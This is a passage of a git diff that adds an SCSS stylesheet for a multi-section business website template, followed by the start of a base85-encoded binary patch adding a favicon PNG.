{ + @include main-font; + color: #0c0c0c; + background-color: #ffffff; + overflow-x: hidden; +} + +.layout_padding { + padding: 90px 0; +} + +.layout_padding2 { + padding: 75px 0; +} + +.layout_padding2-top { + padding-top: 75px; +} + +.layout_padding2-bottom { + padding-bottom: 75px; +} + +.layout_padding-top { + padding-top: 90px; +} + +.layout_padding-bottom { + padding-bottom: 90px; +} + +.heading_container { + display: flex; + flex-direction: column; + align-items: flex-start; + + h2 { + position: relative; + font-weight: bold; + margin-bottom: 0; + + span { + color: $primary1; + } + } + + p { + margin-top: 10px; + margin-bottom: 0; + } + + &.heading_center { + align-items: center; + text-align: center; + } +} + +a, +a:hover, +a:focus { + text-decoration: none; +} + +a:hover, +a:focus { + color: initial; +} + +.btn, +.btn:focus { + outline: none !important; + box-shadow: none; +} + +/*header section*/ +.hero_area { + position: relative; + min-height: 100vh; + display: flex; + flex-direction: column; + + .hero_bg_box { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + display: flex; + justify-content: center; + align-items: flex-end; + overflow: hidden; + z-index: -1; + + .bg_img_box { + min-width: 100%; + min-height: 100%; + } + + img { + min-width: 100%; + min-height: 100%; + } + } +} + +.sub_page { + .hero_area { + min-height: auto; + background: linear-gradient(130deg, #231a6f, #0f054c); + + .hero_bg_box { + display: none; + } + } + +} + +.header_section { + padding: 15px 0; + + .container-fluid { + padding-right: 25px; + padding-left: 25px; + } +} + +.navbar-brand { + span { + font-weight: bold; + font-size: 24px; + color: $white; + } +} + +.custom_nav-container { + padding: 0; + + .navbar-nav { + margin-left: auto; + + .nav-item { + .nav-link { + padding: 5px 20px; + color: $white; + text-align: center; + text-transform: uppercase; + border-radius: 5px; + transition: all 0.3s; + } + + &:hover, + &.active { + .nav-link { + color: $primary1; + } + } + + &.active { + .nav-link { + font-weight: 600; + } + } + } + } +} + +.custom_nav-container .nav_search-btn { + width: 35px; + height: 35px; + padding: 0; + border: none; + color: $white; + + &:hover { + color: $primary1; + } +} + +.custom_nav-container .navbar-toggler { + outline: none; +} + +.custom_nav-container .navbar-toggler { + padding: 0; + width: 37px; + height: 42px; + transition: all 0.3s; + + span { + display: block; + width: 35px; + height: 4px; + background-color: $white; + margin: 7px 0; + transition: all 0.3s; + position: relative; + border-radius: 5px; + transition: all 0.3s; + + &::before, + &::after { + content: ""; + position: absolute; + left: 0; + height: 100%; + width: 100%; + background-color: $white; + top: -10px; + border-radius: 5px; + transition: all 0.3s; + } + + &::after { + top: 10px; + } + } + + &[aria-expanded="true"] { + transform: rotate(360deg); + + span { + transform: rotate(45deg); + + &::before, + &::after { + transform: rotate(90deg); + top: 0; + } + } + + + } + + +} + +/*end header section*/ + +/* slider section */ +.slider_section { + flex: 1; + display: flex; + align-items: center; + position: relative; + padding: 45px 0 145px 0; + + .row { + align-items: center; + } + + #customCarousel1 { + width: 100%; + position: unset; + } + + .detail-box { + color: $primary2; + + h1 { + font-size: 3rem; + font-weight: bold; + text-transform: uppercase; + margin-bottom: 15px; + color: $white; + } + + p { + color: #fefefe; + font-size: 14px; + } + + .btn-box { + display: flex; + margin: 0 -5px; + margin-top: 25px; + + a { + margin: 5px; + text-align: center; + width: 165px; + } + + .btn1 { + @include hero_btn($primary1, $white, 10px, 15px, 0); + } + + .btn2 { + @include hero_btn($black, $white, 10px, 15px, 0); + } + } + } + + .img-box { + margin: 45px 0; + + img { + width: 100%; + animation: upDown 5s infinite; + } + + } + + @keyframes upDown { + 0% { + transform: translateY(-45px); + } + + 50% { + transform: translateY(45px); + } + + 100% { + transform: translateY(-45px); + } + } + + .carousel-indicators { + position: unset; + margin: 0; + justify-content: center; + align-items: center; + + li { + background-color: $white; + width: 12px; + height: 12px; + border-radius: 100%; + opacity: 1; + + &.active { + width: 20px; + height: 20px; + background-color: $primary1; + } + } + } +} + +// end slider section + +// service section + +.service_section { + position: relative; + + .box { + display: flex; + flex-direction: column; + align-items: center; + text-align: center; + margin-top: 45px; + background-color: #f8f8f9; + padding: 20px; + border-radius: 5px; + + .img-box { + display: flex; + justify-content: center; + align-items: flex-start; + width: 125px; + min-width: 75px; + height: 75px; + margin-bottom: 15px; + + img { + max-width: 100%; + max-height: 100%; + transition: all 0.3s; + } + } + + .detail-box { + h5 { + font-weight: bold; + text-transform: uppercase; + } + + p {} + + a { + color: $primary2; + font-weight: 600; + + &:hover { + color: $primary1; + } + } + } + + } + + .btn-box { + display: flex; + justify-content: center; + margin-top: 45px; + + a { + @include hero_btn($primary1, $white, 10px, 45px, 0); + } + } +} + +// end service section + +// about section +.about_section { + background-color: $primary2; + color: $white; + + .heading_container { + margin-bottom: 45px; + } + + .row { + align-items: center; + } + + .img-box { + img { + max-width: 100%; + } + } + + .detail-box { + h3 { + font-weight: bold; + } + + p { + margin-top: 15px; + } + + a { + @include hero_btn($primary1, $white, 10px, 45px, 0px); + margin-top: 15px; + } + } +} + +// end about section + +// why section + +.why_section { + + .box { + margin-top: 45px; + display: flex; + flex-direction: column; + align-items: center; + text-align: center; + + .img-box { + margin-bottom: 20px; + width: 120px; + height: 120px; + min-width: 120px; + min-height: 120px; + border-radius: 100%; + border: 5px solid $primary2; + display: flex; + justify-content: center; + align-items: center; + + img { + width: 55px; + height: auto; + fill: $primary2; + } + } + + h5 { + font-weight: bold; + margin-bottom: 10px; + } + + p { + margin-bottom: 0; + } + } + + .btn-box { + display: flex; + justify-content: center; + margin-top: 45px; + + a { + @include hero_btn($primary1, $white, 10px, 45px, 0); + } + } +} + +// end why section + +/*team section */ + +.team_section { + text-align: center; + background-color: $primary2; + color: $white; + + .heading_container { + justify-content: center; + } + + .team_container { + padding: 0 15px; + + .box { + padding: 35px 0 0 0; + border-radius: 5px; + overflow: hidden; + transition: all .1s; + margin-top: 45px; + // background-color: #053068; + background: linear-gradient(to bottom, lighten($color: $primary2, $amount: 3), lighten($color: $primary2, $amount: 5)); + + .img-box { + display: flex; + justify-content: center; + align-items: center; + + img { + width: 120px; + border-radius: 100%; + border: 5px solid $white; + } + + } + + .detail-box { + margin: 25px 0; + + h5 { + color: $primary1; + font-weight: 600; + position: relative; + } + + } + + .social_box { + padding: 10px 45px 20px 45px; + display: flex; + justify-content: space-between; + + a { + color: $white; + font-size: 22px; + + &:hover { + color: $primary1; + } + } + } + } + } + + +} + +/*team section end*/ + +/* client section start */ + +.client_section { + .heading_container { + margin-bottom: 30px; + } + + .box { + display: flex; + flex-direction: column; + margin: 15px; + + .img-box { + position: relative; + display: flex; + justify-content: center; + align-items: center; + width: 100px; + margin-bottom: -50px; + margin-left: 25px; + position: relative; + + img { + border-radius: 100%; + } + } + + .client_id { + display: flex; + justify-content: space-between; + + .client_info { + h6 { + font-weight: 600; + margin-bottom: 5px; + } + + p { + margin-bottom: 0; + font-size: 15px; + font-size: 14px; + margin-bottom: 10px; + } + } + } + + .detail-box { + background-color: $white; + box-shadow: 0 0 15px 0 rgba($color: #000000, $alpha: 0.15); + padding: 75px 25px 25px 25px; + + i { + color: $primary2; + margin-bottom: 10px; + } + } + } + + .owl-carousel { + .owl-nav { + display: flex; + justify-content: center; + margin-top: 45px; + + .owl-prev, + .owl-next { + width: 55px; + height: 55px; + background-color: $white; + color: $black; + outline: none; + bottom: 0px; + font-size: 24px; + box-shadow: 0 0 5px 0 rgba($color: #000000, $alpha: 0.25); + + &:hover { + color: $primary2; + } + } + } + } +} + +/* client section end */ + +// info section +.info_section { + background-color: $primary2; + color: $white; + padding: 45px 0 15px 0; + + h4 { + font-weight: 600; + margin-bottom: 20px; + } + + .info_col { + margin-bottom: 30px; + } + + .info_contact { + .contact_link_box { + display: flex; + flex-direction: column; + + a { + margin: 5px 0; + color: $white; + + i { + margin-right: 5px; + } + + &:hover { + color: $primary1; + } + } + } + } + + .info_social { + display: flex; + margin-top: 20px; + margin-bottom: 10px; + + a { + display: flex; + justify-content: center; + align-items: center; + color: $white; + border-radius: 100%; + margin-right: 10px; + font-size: 24px; + + &:hover { + color: $primary1; + } + } + } + + .info_links { + display: flex; + flex-direction: column; + flex-wrap: wrap; + + a { + display: flex; + align-items: center; + margin-bottom: 15px; + color: $white; + + &:hover { + color: $primary1; + } + } + } + + form { + input { + border: none; + border-bottom: 1px solid $white; + background-color: transparent; + width: 100%; + height: 45px; + color: $white; + outline: none; + + &::placeholder { + color: $white; + } + } + + button { + width: 100%; + text-align: center; + @include hero_btn($primary1, $white, 10px, 55px, 0); + margin-top: 15px; + } + } +} + +// end info section + +/* footer section*/ + +.footer_section { + position: relative; + background-color: $white; + text-align: center; + + p { + color: $primary2; + padding: 25px 0; + margin: 0; + + a { + color: inherit; + } + } +} + +// end footer section \ No newline at end of file diff --git a/images/favicon.png b/images/favicon.png new file mode 100644 index 0000000000000000000000000000000000000000..c76b980893c53ec06c45ecdf392757d50528d5c7 GIT binary patch literal 34768 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 